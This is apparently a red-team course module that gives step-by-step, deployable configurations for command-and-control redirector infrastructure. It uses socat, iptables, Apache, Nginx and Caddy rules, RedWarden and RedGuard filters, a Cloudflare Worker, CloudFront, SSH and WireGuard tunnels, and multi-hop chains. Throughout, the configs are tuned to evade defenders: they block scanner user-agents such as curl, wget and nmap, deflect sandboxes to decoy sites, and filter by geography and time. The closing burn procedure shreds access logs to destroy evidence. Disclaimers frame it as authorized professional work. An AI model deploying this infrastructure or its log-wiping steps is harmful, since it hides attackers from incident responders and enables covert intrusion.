infrastructure
03 — C2 Infrastructure
BLUF: A C2 server that can be directly reached and fingerprinted by a blue team is already dead. Redirectors are the buffer layer that absorbs attribution, deflects scanner traffic, and lets you burn a node without losing the operation. This module teaches you to build, harden, and chain redirectors across every relevant technology stack — from a single
socatone-liner to a multi-hop cloud-native pipeline with geo-filtering and JA3 inspection.
OW64 — Supplemental 7.2: C2 Redirector Infrastructure Action Items
- Redirector Fundamentals & Architecture · 2. Dumb Pipe Redirectors (socat / iptables / rinetd) · 3. Apache mod_rewrite Redirectors · 4. Nginx Reverse-Proxy Redirectors · 5. Caddy Redirectors · 6. Intelligent Filtering Redirectors (RedWarden / RedGuard / BounceBack) · 7. CDN & Cloud-Native Redirectors · 8. Multi-Hop & Chained Infrastructure · 9. Redirector OPSEC & Burn Procedures · Capstone: Full Multi-Hop Redirector Pipeline
Authorized use only. All techniques in this module are for professional red team engagements with written scope authorization. Unauthorized deployment of C2 infrastructure is a criminal offense in virtually every jurisdiction.
Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.
Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.
Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.
CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.
graph TB
Implant([Implant / Beacon]) --> DR[Dumb Redirector\nsocat / iptables]
Implant --> SR[Smart Redirector\nApache / Nginx / Caddy]
DR --> Filter[Filtering Layer\nRedWarden / RedGuard]
SR --> Filter
Filter --> CDN[CDN Layer\nCloudflare / CloudFront]
CDN --> CS[C2 Teamserver\nSliver / CS / Mythic]
Filter --> CS
SR --> CS
style Implant fill:#ff6600
style CS fill:#00aa00
style Filter fill:#cc0000,color:#ffffffMITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Module Relevance |
|---|---|---|---|
| T1090 | Proxy | Command and Control | All redirector types — dumb pipe to intelligent filter |
| T1090.001 | Internal Proxy | Command and Control | Chained internal hops between redirectors |
| T1090.002 | External Proxy | Command and Control | Internet-facing redirector nodes |
| T1090.004 | Domain Fronting | Command and Control | CDN/cloud-native fronting techniques |
| T1583.002 | DNS Server | Resource Development | DNS-based redirector chains |
| T1583.004 | Server | Resource Development | VPS-based redirector deployment |
| T1584 | Compromise Infrastructure | Resource Development | Hijacked hosts as redirectors |
| T1568 | Dynamic Resolution | Command and Control | Fast-flux DNS for redirector resilience |
| T1008 | Fallback Channels | Command and Control | Multi-hop chains with failover |
Action Item 1 — Redirector Fundamentals & Architecture [Beginner]
What you're building: The mental model of what a redirector IS, the four threat models it addresses, and the three architecture patterns used in professional engagements. You cannot design a redirector chain without understanding why each layer exists.
A C2 redirector is a node that sits between your implant and your teamserver, proxying traffic so that the implant only ever communicates with a sacrificial IP — not your actual C2. When the SOC burns the redirector, your teamserver survives.
Tactic: Command and Control / Resource Development
Four Threats a Redirector Addresses
| Threat | Without Redirector | With Redirector |
|---|---|---|
| IP Attribution | Teamserver IP exposed in beacon traffic | Only redirector IP is seen by target |
| Scanner/Sandbox Probing | Direct access to C2 listeners by sandboxes | Filtering layer drops unknown user-agents/IPs |
| Incident Response Pivoting | IR team hits teamserver directly | IR hits sacrificial redirector; teamserver stays dark |
| Certificate Attribution | Teamserver cert fingerprinted | Redirector holds public cert; teamserver is backend-only |
Three Architecture Patterns
Pattern A — Simple Passthrough (dumb pipe)
Implant → [Redirector: port forward] → Teamserver
Lowest complexity. No filtering. Useful for quick labs. Burns easily because anything that reaches the redirector gets forwarded.
Pattern B — Application-Layer Proxy (smart redirect)
Implant → [Redirector: HTTP/S reverse proxy with rules] → Teamserver
Apache/Nginx/Caddy inspect requests and apply whitelist/block rules. Unknown traffic is dropped or redirected to a decoy site. Standard professional baseline.
Pattern C — Multi-Hop Chained Infrastructure
Implant → [Edge Redirector] → [Filtering Proxy] → [CDN / Domain Front] → Teamserver
Multiple hops with different providers. Attribution requires pivoting through 3+ jurisdictions. Used in long-haul engagements.
Redirector Node Requirements
| Property | Recommendation |
|---|---|
| Provider | Separate from teamserver — different ASN, different country |
| Lifetime | Treat as consumable — deploy fast, burn without regret |
| Firewall | Only accept inbound on C2 port; backend connection to teamserver only |
| Logging | Capture access logs off-box before burning |
| Certificates | Let's Encrypt via ACME; never reuse teamserver cert |
OPSEC: Never co-locate your redirector and teamserver on the same VPS provider or /24 subnet. If one IP is burned, the entire adjacent range may be blocklisted by threat intel feeds.
Action Item 2 — Dumb Pipe Redirectors [Beginner]
What you're building: The simplest possible redirector — a single-process port forwarder with zero application awareness. This is your fallback when you need a node up in 60 seconds.
Dumb pipe redirectors operate at Layer 4 (TCP/UDP). They forward all traffic blindly — no HTTP inspection, no filtering. They're fast to deploy and easy to automate, but offer no protection against scanner traffic reaching your teamserver.
Tactic: Command and Control → T1090.002
socat (One-Liner Port Forwarder)
# Install
sudo apt install socat -y
# TCP port forward — forward all traffic on :443 to teamserver:443
sudo socat TCP4-LISTEN:443,fork TCP4:<TEAMSERVER_IP>:443
# With UDP (for DNS C2)
sudo socat UDP4-LISTEN:53,fork UDP4:<TEAMSERVER_IP>:53
# Run as a systemd service for persistence
cat << 'EOF' | sudo tee /etc/systemd/system/socat-redirect.service
[Unit]
Description=socat C2 redirector
After=network.target
[Service]
ExecStart=/usr/bin/socat TCP4-LISTEN:443,fork TCP4:<TEAMSERVER_IP>:443
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload
sudo systemctl enable --now socat-redirect
iptables (Kernel-Level Port Forwarding)
# Enable IP forwarding
echo 'net.ipv4.ip_forward=1' | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
# Redirect inbound :443 to teamserver (PREROUTING)
sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT \
--to-destination <TEAMSERVER_IP>:443
# Masquerade outbound (POSTROUTING)
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
# Allow forwarded traffic
sudo iptables -A FORWARD -p tcp --dport 443 -j ACCEPT
# Persist rules
sudo apt install iptables-persistent -y
sudo netfilter-persistent save
# Also forward DNS (UDP 53)
sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT \
--to-destination <TEAMSERVER_IP>:53
# View active NAT rules
sudo iptables -t nat -L -n -v
Why iptables over socat: Kernel-level forwarding is faster and has no per-connection process overhead. Preferred for high-volume beaconing. Downside: no TLS termination, no request inspection.
rinetd (Config-File Based Forwarder)
sudo apt install rinetd -y
# /etc/rinetd.conf — format: bindaddr bindport connectaddr connectport
# Forward all IPs on port 80 → teamserver:80
cat << 'EOF' | sudo tee /etc/rinetd.conf
0.0.0.0 80 <TEAMSERVER_IP> 80
0.0.0.0 443 <TEAMSERVER_IP> 443
0.0.0.0 53 <TEAMSERVER_IP> 53
EOF
sudo systemctl restart rinetd
Comparison: Dumb Pipe Options
| Tool | Layer | TLS Aware | Filtering | Deploy Time | Best For |
|---|---|---|---|---|---|
| socat | L4 TCP/UDP | No | None | 30 seconds | Quick lab pivots |
| iptables | L4 Kernel | No | None | 2 minutes | High-volume, low-latency |
| rinetd | L4 TCP | No | None | 2 minutes | Multi-port config file |
| SSH -L/-R | L4 Tunnel | Yes (SSH) | None | 10 seconds | Authenticated pivot channels |
OPSEC: Always firewall your redirector. Accept inbound only on C2 ports. Only allow outbound to your teamserver IP. Drop everything else. Without this, your "redirector" is just an open relay.
# Redirector firewall baseline (ufw)
sudo ufw default deny incoming
sudo ufw default deny outgoing
sudo ufw allow in 22/tcp # SSH management
sudo ufw allow in 80/tcp # HTTP C2
sudo ufw allow in 443/tcp # HTTPS C2
sudo ufw allow out to <TEAMSERVER_IP> port 443
sudo ufw allow out to <TEAMSERVER_IP> port 80
sudo ufw allow out 53 # DNS resolution
sudo ufw enable
Action Item 3 — Apache mod_rewrite Redirectors [Intermediate]
What you're building: A full application-layer HTTP/S redirector using Apache mod_rewrite. Legitimate C2 traffic is proxied to the teamserver; everything else is redirected to a legitimate-looking decoy site. This is the most widely documented redirector pattern and still highly effective.
Apache mod_rewrite operates at Layer 7, inspecting HTTP requests and routing them based on rules you define — URI patterns, User-Agent strings, IP addresses, and more.
Tactic: Command and Control → T1090 + T1001.003 (Protocol Impersonation)
Installation & Module Setup
sudo apt install apache2 -y
sudo a2enmod rewrite proxy proxy_http ssl headers
sudo systemctl restart apache2
Basic mod_rewrite Redirector Config
# /etc/apache2/sites-available/c2-redirector.conf
<VirtualHost *:80>
ServerName yourdomain.com
# Redirect all HTTP to HTTPS
RewriteEngine On
RewriteRule ^(.*)$ https://%{HTTP_HOST}$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName yourdomain.com
SSLEngine on
SSLCertificateFile /etc/letsencrypt/live/yourdomain.com/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/yourdomain.com/privkey.pem
RewriteEngine On
RewriteOptions Inherit
# Log all requests (rotate off-box regularly)
CustomLog /var/log/apache2/c2_access.log combined
ErrorLog /var/log/apache2/c2_error.log
# --- BLOCK RULE 1: Known sandbox/scanner User-Agents ---
RewriteCond %{HTTP_USER_AGENT} "(curl|wget|python|nikto|nmap|masscan|zgrab|shodan)" [NC]
RewriteRule ^.*$ https://www.microsoft.com/? [L,R=302]
# --- BLOCK RULE 2: Block known security vendor IP ranges ---
RewriteCond %{REMOTE_ADDR} "^(66\.35\.|72\.14\.|74\.125\.)" [NC]
RewriteRule ^.*$ https://www.google.com/? [L,R=302]
# --- ALLOW RULE: Match C2 beacon URI pattern ---
# Change /updates/ to match your malleable C2 profile's URI
RewriteCond %{REQUEST_URI} ^/updates/.*$
RewriteRule ^(.*)$ http://<TEAMSERVER_IP>:80$1 [P,L]
# --- ALLOW RULE: Match specific User-Agent from profile ---
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 \(compatible; MSIE 9.0"
RewriteRule ^(.*)$ http://<TEAMSERVER_IP>:80$1 [P,L]
# --- DEFAULT: All other traffic → decoy site ---
RewriteRule ^.*$ https://www.microsoft.com/? [L,R=302]
# Pass real client IP to teamserver
RequestHeader set X-Forwarded-For %{REMOTE_ADDR}s
</VirtualHost>
# Enable and certbot
sudo a2ensite c2-redirector
sudo certbot --apache -d yourdomain.com
sudo systemctl reload apache2
URI-Only Redirector (Malleable Profile Aligned)
# Match URI paths from your Cobalt Strike/Sliver malleable profile exactly
RewriteEngine On
# Example: Cobalt Strike jquery-c2.profile URIs
RewriteCond %{REQUEST_URI} ^/jquery-3\.3\.1\.min\.js$
RewriteRule ^.*$ http://<TEAMSERVER_IP>:80%{REQUEST_URI} [P,L]
RewriteCond %{REQUEST_URI} ^/____cfduid$
RewriteRule ^.*$ http://<TEAMSERVER_IP>:80%{REQUEST_URI} [P,L]
# Fallback: anything else → 404 or decoy
RewriteRule ^.*$ https://jquery.com/? [L,R=302]
IP Allowlist Redirector (Engagement-Scoped)
# Only accept traffic from known implant egress IPs (useful for internal engagements)
RewriteEngine On
# Allowlisted IPs get proxied
RewriteCond %{REMOTE_ADDR} "^(10\.10\.10\.|192\.168\.50\.)" [NC]
RewriteRule ^(.*)$ http://<TEAMSERVER_IP>:80$1 [P,L]
# Everyone else → decoy
RewriteRule ^.*$ https://www.cloudflare.com/? [L,R=302]
Note: The
[P]flag requiresmod_proxyandmod_proxy_http. The[L]flag stops rule processing. The[R=302]flag issues a redirect — never use[R]when proxying, only when deflecting.
Action Item 4 — Nginx Reverse-Proxy Redirectors [Intermediate]
What you're building: An Nginx-based C2 redirector using location blocks, map directives, and upstream proxying. Nginx handles higher concurrent connections than Apache and is often preferred for high-volume implant deployments.
Tactic: Command and Control → T1090.002
Nginx Installation
sudo apt install nginx -y
sudo systemctl enable --now nginx
# Certbot for Nginx
sudo apt install certbot python3-certbot-nginx -y
sudo certbot --nginx -d yourdomain.com
Full Nginx C2 Redirector Config
# /etc/nginx/sites-available/c2-redirector
# Map User-Agent to proxy decision
map $http_user_agent $allowed_ua {
default 0;
# Allow your beacon's User-Agent (match your C2 profile)
"~*Mozilla/5.0 \(Windows NT 10.0; Win64; x64\) AppleWebKit" 1;
}
# Map URI to proxy decision
map $request_uri $allowed_uri {
default 0;
"~/updates/.*" 1;
"~/api/v1/.*" 1;
}
upstream teamserver {
server <TEAMSERVER_IP>:443;
keepalive 32;
}
server {
listen 80;
server_name yourdomain.com;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
http2 on;
server_name yourdomain.com;
ssl_certificate /etc/letsencrypt/live/yourdomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem;
# Modern TLS only
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384;
ssl_prefer_server_ciphers on;
# Logging
access_log /var/log/nginx/c2_access.log;
error_log /var/log/nginx/c2_error.log;
# --- Block known scanner User-Agents ---
if ($http_user_agent ~* "(curl|wget|python|nikto|nmap|zgrab|masscan)") {
return 302 https://www.google.com/;
}
# --- Route by URI match ---
location ~ ^/updates/ {
proxy_pass https://teamserver;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header X-Real-IP $remote_addr;
}
location ~ ^/api/v1/ {
proxy_pass https://teamserver;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
# --- Default: deflect everything else ---
location / {
return 302 https://www.microsoft.com/;
}
}
Nginx GeoIP Filtering (Block by Country)
# Install GeoIP module
sudo apt install libnginx-mod-http-geoip2 -y
# Download MaxMind GeoLite2 DB (requires free license key)
# https://www.maxmind.com/en/geolite2/signup
# /etc/nginx/nginx.conf — add in http block:
geoip2 /usr/share/GeoIP/GeoLite2-Country.mmdb {
$geoip2_data_country_code country iso_code;
}
map $geoip2_data_country_code $allowed_country {
default 0;
US 1; # Allow United States
CA 1; # Allow Canada
GB 1; # Allow United Kingdom
}
# In your server block:
server {
...
if ($allowed_country = 0) {
return 302 https://www.google.com/;
}
...
}
Nginx Stream Proxy (Layer 4 TCP — no TLS inspection)
# /etc/nginx/nginx.conf — add in stream block (outside http block)
stream {
upstream c2_backend {
server <TEAMSERVER_IP>:443;
}
server {
listen 443;
proxy_pass c2_backend;
proxy_timeout 600s;
proxy_connect_timeout 10s;
}
}
Why stream mode: When your beacon uses certificate pinning or mTLS, you cannot decrypt traffic at the redirector layer. Stream proxy passes the raw TLS tunnel through without inspection — effectively a Layer 4 dumb pipe but with Nginx's reliability and keepalive management.
Action Item 5 — Caddy Redirectors [Intermediate]
What you're building: A Caddy-based redirector leveraging automatic HTTPS via ACME, clean Caddyfile syntax, and optional integration with RedCaddy for malleable-profile-aware routing. Caddy's automatic certificate management makes it the fastest to deploy with valid TLS.
Caddy automatically obtains and renews Let's Encrypt certificates via ACME — no certbot required. Its reverse_proxy directive handles both HTTP and HTTPS backends.
Tactic: Command and Control → T1090
Installation
sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' \
| sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' \
| sudo tee /etc/apt/sources.list.d/caddy-stable.list
sudo apt update && sudo apt install caddy -y
Caddyfile — Basic C2 Redirector
# /etc/caddy/Caddyfile
yourdomain.com {
# Automatic HTTPS — Caddy handles cert issuance/renewal
tls your@email.com
# Access log
log {
output file /var/log/caddy/c2_access.log
format json
}
# --- Block known scanners by User-Agent ---
@scanners {
header User-Agent *curl*
header User-Agent *python*
header User-Agent *wget*
header User-Agent *nikto*
header User-Agent *nmap*
}
redir @scanners https://www.google.com 302
# --- Allow beacon traffic by URI ---
@c2traffic {
path /updates/*
path /api/v1/*
}
reverse_proxy @c2traffic <TEAMSERVER_IP>:443 {
transport http {
tls_insecure_skip_verify
}
header_up X-Forwarded-For {remote_host}
header_up Host {host}
}
# --- Default: redirect to decoy ---
redir * https://www.microsoft.com 302
}
Caddyfile — Multi-Backend Round-Robin
yourdomain.com {
tls your@email.com
@c2traffic path /updates/* /api/*
reverse_proxy @c2traffic {
to <TEAMSERVER_IP_1>:443 <TEAMSERVER_IP_2>:443
lb_policy round_robin
transport http {
tls_insecure_skip_verify
}
}
redir * https://cloudflare.com 302
}
Caddyfile — Geo/IP Filtering with Caddy Modules
# Build Caddy with geoip and maxmind modules
xcaddy build --with github.com/porech/caddy-maxmind-geolocation
# (requires xcaddy; alternatively use `caddy upgrade --with github.com/porech/caddy-maxmind-geolocation` in Caddy 2.6+)
{
order maxmind_geolocation before reverse_proxy
}
yourdomain.com {
tls your@email.com
maxmind_geolocation {
db_path /usr/share/GeoIP/GeoLite2-Country.mmdb
allow_countries US CA GB AU
}
@c2traffic path /updates/* /api/v1/*
reverse_proxy @c2traffic <TEAMSERVER_IP>:443 {
transport http { tls_insecure_skip_verify }
}
redir * https://www.microsoft.com 302
}
Why Caddy: Automatic HTTPS is the killer feature — spin up a new redirector domain and have valid TLS in under 90 seconds. The Caddyfile syntax is also significantly less verbose than Apache/Nginx configs, reducing configuration errors.
Action Item 6 — Intelligent Filtering Redirectors [Advanced]
What you're building: Application-layer redirectors that actively parse Malleable C2 profiles, inspect JA3 fingerprints, apply geo-IP filtering, and make per-request routing decisions. These tools are purpose-built for C2 infrastructure and go far beyond what generic reverse proxies offer.
Tactic: Command and Control → T1090 + T1001.003
RedWarden — Malleable Profile Validator
RedWarden is a Python-based HTTP/HTTPS reverse proxy that validates every inbound request against a Cobalt Strike Malleable C2 profile specification. Requests that don't conform to the profile — wrong URI, wrong User-Agent, wrong header set — are dropped or redirected.
# Clone and install
git clone https://github.com/mgeeky/RedWarden
cd RedWarden
pip3 install -r requirements.txt
# Config file (config.yaml)
cat << 'EOF' > config.yaml
port: 80
port_https: 443
ssl_cacert: /etc/letsencrypt/live/yourdomain.com/fullchain.pem
ssl_cakey: /etc/letsencrypt/live/yourdomain.com/privkey.pem
teamserver_url:
- https://<TEAMSERVER_IP>
profile: /opt/profiles/jquery-c2.profile
drop_action: redirect
redirect_url: https://www.microsoft.com/
log_file: /var/log/redwarden.log
verbose: false
policy:
allow_proxy_pass: true
drop_invalid_useragent: true
drop_http_banned_header_names: true
drop_http_banned_header_value: true
drop_dangerous_ip: true
EOF
# Run
sudo python3 RedWarden.py -c config.yaml
RedWarden Drop Logic:
| Violation | Action |
|---|---|
| User-Agent not in profile | Redirect to decoy |
| URI not matching profile | Redirect to decoy |
| Missing required headers | Redirect to decoy |
| Known security vendor IP | TCP reset |
| JA3 fingerprint blocklist | TCP reset |
| Malformed HTTP | Redirect to decoy |
RedGuard — C2 Front Flow Control (Go)
RedGuard is a Go-based reverse proxy with geographic filtering, JA3-based sandbox detection, temporal access controls, and hot-reloadable config. It works with any C2 framework (not just Cobalt Strike).
# Install Go and build
sudo apt install golang -y
git clone https://github.com/wikiZ/RedGuard
cd RedGuard
go build -o RedGuard .
# Config file is auto-generated on first run
sudo ./RedGuard
# Edit .RedGuard_CobaltStrike.ini
cat << 'EOF' > .RedGuard_CobaltStrike.ini
[RedGuard Config]
# Listener ports
Port_HTTPS = :443
Port_HTTP = :80
# What to do with blocked requests:
# redirect | drop | proxy
drop_action = proxy
Redirect = https://www.microsoft.com
# Access control (* = allow all)
AllowIP = *
AllowLocation = US,CA,GB,AU
AllowTime = 06:00 - 22:00
# SSL certificate (false = auto-generate self-signed)
HasCert = false
# Cobalt Strike teamserver
EOF
sudo ./RedGuard
RedGuard Key Features:
| Feature | Detail |
|---|---|
| JA3 Fingerprinting | Detects Burp Suite, curl, Python requests, cloud sandbox agents by TLS fingerprint |
| Geo-IP Filtering | Restrict C2 to specific countries via IP lookup API |
| Time-Based Access | Beacon callbacks only during defined working hours |
| Proxy Mode | Blocked requests receive a mirrored legitimate web response |
| Malleable Validation | Validates Cobalt Strike malleable profile conformance |
| Hot Reload | Edit config file — changes apply without restart |
BounceBack — Stealth Redirector with Time-Based Filtering
BounceBack (Go-based) adds stealth features: time-window enforcement, multi-proxy chaining, verbose per-request logging, and a plugin system for custom filtering logic.
git clone https://github.com/DissonanceTK/BounceBack
cd BounceBack
go build -o bounceback .
# config.yml
cat << 'EOF' > config.yml
listeners:
- address: "0.0.0.0:443"
tls: true
cert: /etc/letsencrypt/live/yourdomain.com/fullchain.pem
key: /etc/letsencrypt/live/yourdomain.com/privkey.pem
backend:
url: "https://<TEAMSERVER_IP>:443"
tls_skip_verify: true
filters:
time:
enabled: true
allow_start: "06:00"
allow_end: "22:00"
timezone: "America/New_York"
useragent:
block:
- "curl"
- "python"
- "Go-http-client"
ip:
allowlist: [] # empty = allow all
blocklist:
- "66.35.0.0/16" # known scanner range
logging:
verbose: true
file: /var/log/bounceback.log
EOF
sudo ./bounceback -config config.yml
Action Item 7 — CDN & Cloud-Native Redirectors [Advanced]
What you're building: Redirector infrastructure that runs entirely inside major cloud providers — Cloudflare Workers, AWS CloudFront, Azure CDN — adding a layer of legitimacy (the IP belongs to Amazon/Cloudflare, not you) and making takedown significantly harder.
Tactic: Command and Control → T1090.004 (Domain Fronting) + T1102 (Web Services)
Cloudflare Workers as C2 Redirector
// Cloudflare Worker — deploy via Wrangler or the CF dashboard
// Routes beacon traffic from CF edge → your backend redirector
export default {
async fetch(request, env) {
const url = new URL(request.url);
const userAgent = request.headers.get('User-Agent') || '';
// Block scanners
const blocked = ['curl', 'python', 'wget', 'nikto', 'nmap'];
if (blocked.some(b => userAgent.toLowerCase().includes(b))) {
return Response.redirect('https://www.microsoft.com', 302);
}
// Only proxy known C2 URI paths
const allowedPaths = ['/updates/', '/api/v1/', '/jquery-3.3.1.min.js'];
const isAllowed = allowedPaths.some(p => url.pathname.startsWith(p));
if (!isAllowed) {
return Response.redirect('https://www.microsoft.com', 302);
}
// Proxy to backend
const backendURL = 'https://<YOUR_REDIRECTOR_VPS>' + url.pathname + url.search;
const newRequest = new Request(backendURL, {
method: request.method,
headers: request.headers,
body: request.body,
});
return fetch(newRequest);
}
};
# Deploy with Wrangler CLI
npm install -g wrangler
wrangler login
wrangler deploy
# wrangler.toml
name = "c2-redirector"
main = "worker.js"
compatibility_date = "2024-01-01"
routes
pattern = "yourdomain.com/*"
zone_name = "yourdomain.com"
AWS CloudFront as Redirector
# 1. Create an origin pointing to your redirector/teamserver backend
aws cloudfront create-distribution \
--origin-domain-name <YOUR_VPS_OR_REDIRECTOR_HOSTNAME> \
--default-root-object index.html
# Key CloudFront settings for C2 use:
# - Origin Protocol Policy: HTTPS Only
# - Viewer Protocol Policy: Redirect HTTP to HTTPS
# - Cache Policy: CachingDisabled (Managed-CachingDisabled)
# ID: 4135ea2d-6df8-44a3-9df3-4b5a84be39ad
# - Origin Request Policy: AllViewer
# - Allowed HTTP Methods: GET, HEAD, OPTIONS, PUT, POST, PATCH, DELETE
# - Query String Forwarding: All
# Using AWS CLI to set cache and request policy:
aws cloudfront create-distribution --generate-cli-skeleton > dist.json
# Edit dist.json: set CachePolicyId to CachingDisabled, AllowedMethods to ALL
aws cloudfront create-distribution --cli-input-json file://dist.json
CloudFront OPSEC Notes:
| Setting | C2-Optimal Value |
|---|---|
| Cache | Disabled — cached responses break beacon sessions |
| HTTP Methods | All — POST required for beacon data exfil |
| Query Strings | Forward all — many profiles use query params |
| Host Header | Forward — teamserver needs Host header |
| Logging | Disabled (or log to separate S3 for OPSEC) |
Oracle Cloud (OCI) Free Tier Redirector Setup
Oracle Cloud's free tier provides 2 AMD VMs with public IPs at no cost — ideal for sacrificial redirector nodes.
# After provisioning OCI instance (Ubuntu 22.04):
# 1. Open ports in OCI Security List (NOT just OS firewall)
# OCI Console → VCN → Security Lists → Add Ingress Rules:
# TCP 80, TCP 443, TCP 8080 (from 0.0.0.0/0)
# 2. OS-level firewall
sudo iptables -F # flush defaults on OCI Ubuntu
sudo ufw allow 22/tcp
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
sudo ufw enable
# 3. Deploy Nginx or Caddy redirector (Actions 4 or 5)
# 4. Lock outbound to teamserver only
sudo ufw allow out to <TEAMSERVER_IP> port 443
sudo ufw allow out 53 # DNS
sudo ufw default deny outgoing
sudo ufw reload
DigitalOcean Droplet + Floating IP for Redirector Rotation
# Create droplet via doctl CLI
doctl compute droplet create \
--image ubuntu-22-04-x64 \
--size s-1vcpu-1gb \
--region nyc3 \
--ssh-keys <KEY_ID> \
redirector-01
# Assign a Reserved IP (survives droplet deletion)
# Note: DigitalOcean renamed 'Floating IPs' to 'Reserved IPs' in October 2022
doctl compute reserved-ip create --region nyc3
doctl compute reserved-ip-action assign <RESERVED_IP> <DROPLET_ID>
# When burned: destroy old droplet, create new one, reassign the same Reserved IP
# Your DNS record (pointed to Reserved IP) stays stable
doctl compute droplet delete redirector-01
doctl compute droplet create --image ubuntu-22-04-x64 ... redirector-02
doctl compute reserved-ip-action assign <RESERVED_IP> <NEW_DROPLET_ID>
Pattern: DNS → Reserved IP → Redirector Droplet → Teamserver. When the redirector is burned, reassign the Reserved IP to a fresh droplet. Your DNS TTL is the only delay.
Action Item 8 — Multi-Hop & Chained Infrastructure [Advanced]
What you're building: A layered redirector chain where each hop strips attribution, applies different filtering logic, and is hosted on a different provider. Attribution requires pivoting through 3+ jurisdictions.
Architecture: Full 3-Hop Chain
Implant
│
▼ (HTTPS to CDN domain)
Cloudflare Worker ← Hop 1 (US: Cloudflare IP space)
│
▼ (HTTPS to edge redirector)
Nginx Redirector ← Hop 2 (EU: Oracle Cloud OCI)
│
▼ (HTTPS internal)
RedWarden Filter ← Hop 3 (US: AWS EC2 — private subnet)
│
▼ (loopback / VPN)
Teamserver ← Never directly internet-accessible
SSH Reverse Tunnel as a Redirector Channel
# On teamserver: create a reverse tunnel — expose teamserver port 443
# via a public VPS (the "relay") on the same port
# On the public VPS (relay), edit /etc/ssh/sshd_config:
# GatewayPorts yes
# On the teamserver, establish reverse tunnel:
ssh -f -N -R 0.0.0.0:443:localhost:443 user@<RELAY_VPS_IP>
# Now: Implant → RELAY_VPS_IP:443 → (SSH tunnel) → Teamserver:443
# Teamserver never accepts a direct inbound connection from the internet
# Autossh for persistence
sudo apt install autossh -y
autossh -M 0 -f -N -R 0.0.0.0:443:localhost:443 user@<RELAY_VPS_IP> \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3
# As a systemd service on the teamserver
cat << 'EOF' | sudo tee /etc/systemd/system/c2-tunnel.service
[Unit]
Description=C2 Reverse SSH Tunnel
After=network.target
[Service]
ExecStart=/usr/bin/autossh -M 0 -N \
-R 0.0.0.0:443:localhost:443 \
user@<RELAY_VPS_IP> \
-o ServerAliveInterval=30 \
-o ServerAliveCountMax=3 \
-o StrictHostKeyChecking=no
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl enable --now c2-tunnel
WireGuard Tunnel as Redirector Backend
# Redirector node: WireGuard peer that tunnels to teamserver
sudo apt install wireguard -y
# /etc/wireguard/wg0.conf on REDIRECTOR:
cat << 'EOF' | sudo tee /etc/wireguard/wg0.conf
[Interface]
PrivateKey = <REDIRECTOR_PRIVATE_KEY>
Address = 10.99.0.2/24
ListenPort = 51820
[Peer]
PublicKey = <TEAMSERVER_PUBLIC_KEY>
AllowedIPs = 10.99.0.1/32
Endpoint = <TEAMSERVER_IP>:51820
PersistentKeepalive = 25
EOF
sudo wg-quick up wg0
# Now set teamserver IP in Nginx/Caddy/socat config to 10.99.0.1
# All C2 traffic flows over encrypted WireGuard tunnel
Action Item 9 — Redirector OPSEC & Burn Procedures [Advanced]
What you're building: The discipline to run, rotate, and burn redirector infrastructure cleanly — without leaking teamserver attribution, access logs, or SSL certificates to incident responders.
Tactic: Defense Evasion / Resource Development
OPSEC Checklist: Before Deployment
| Check | Detail |
|---|---|
| ☐ Separate provider from teamserver | Different ASN, different country preferred |
| ☐ Domain registered via privacy proxy | Whois shows registrar, not your name |
| ☐ Domain aged ≥ 30 days | New domains are auto-categorized as suspicious |
| ☐ Domain categorized as benign | Check via Bluecoat, Cisco Talos, Symantec category tools |
| ☐ TLS cert issued separately from teamserver | Reusing a cert links the two nodes |
| ☐ Firewall restricts outbound to teamserver only | Prevents open relay abuse |
| ☐ SSH access via keypair only | No password auth |
| ☐ Logs shipping off-box | Logs survive node burn |
| ☐ No shared SSH keys with teamserver | Key reuse links infrastructure |
OPSEC Checklist: During Operation
| Check | Detail |
|---|---|
| ☐ Rotate redirectors every 2–4 weeks | Reduces heat from passive threat intel |
| ☐ Monitor redirector access logs for scanner hits | SOC probing is an early burn signal |
| ☐ Beacon sleep ≥ 60s with 30% jitter | Reduces beacon session frequency at redirector |
| ☐ No direct teamserver access from operator laptop | Always operator → redirector → teamserver |
| ☐ Redirector logs rotate and ship daily | Don't let logs fill disk or get seized |
Redirector Burn Procedure
# 1. Immediately cut traffic routing at the redirector
# (Nginx: remove site config and reload)
sudo rm /etc/nginx/sites-enabled/c2-redirector
sudo nginx -s reload
# 2. Pull logs off the node before destruction
rsync -avz user@<REDIRECTOR_IP>:/var/log/nginx/ /local/loot/redirector_logs/
rsync -avz user@<REDIRECTOR_IP>:/var/log/apache2/ /local/loot/redirector_logs/
# 3. Wipe logs on the node
sudo shred -uz /var/log/nginx/*.log
sudo shred -uz /var/log/apache2/*.log
# 4. Revoke Let's Encrypt certificate (prevents cert tracking)
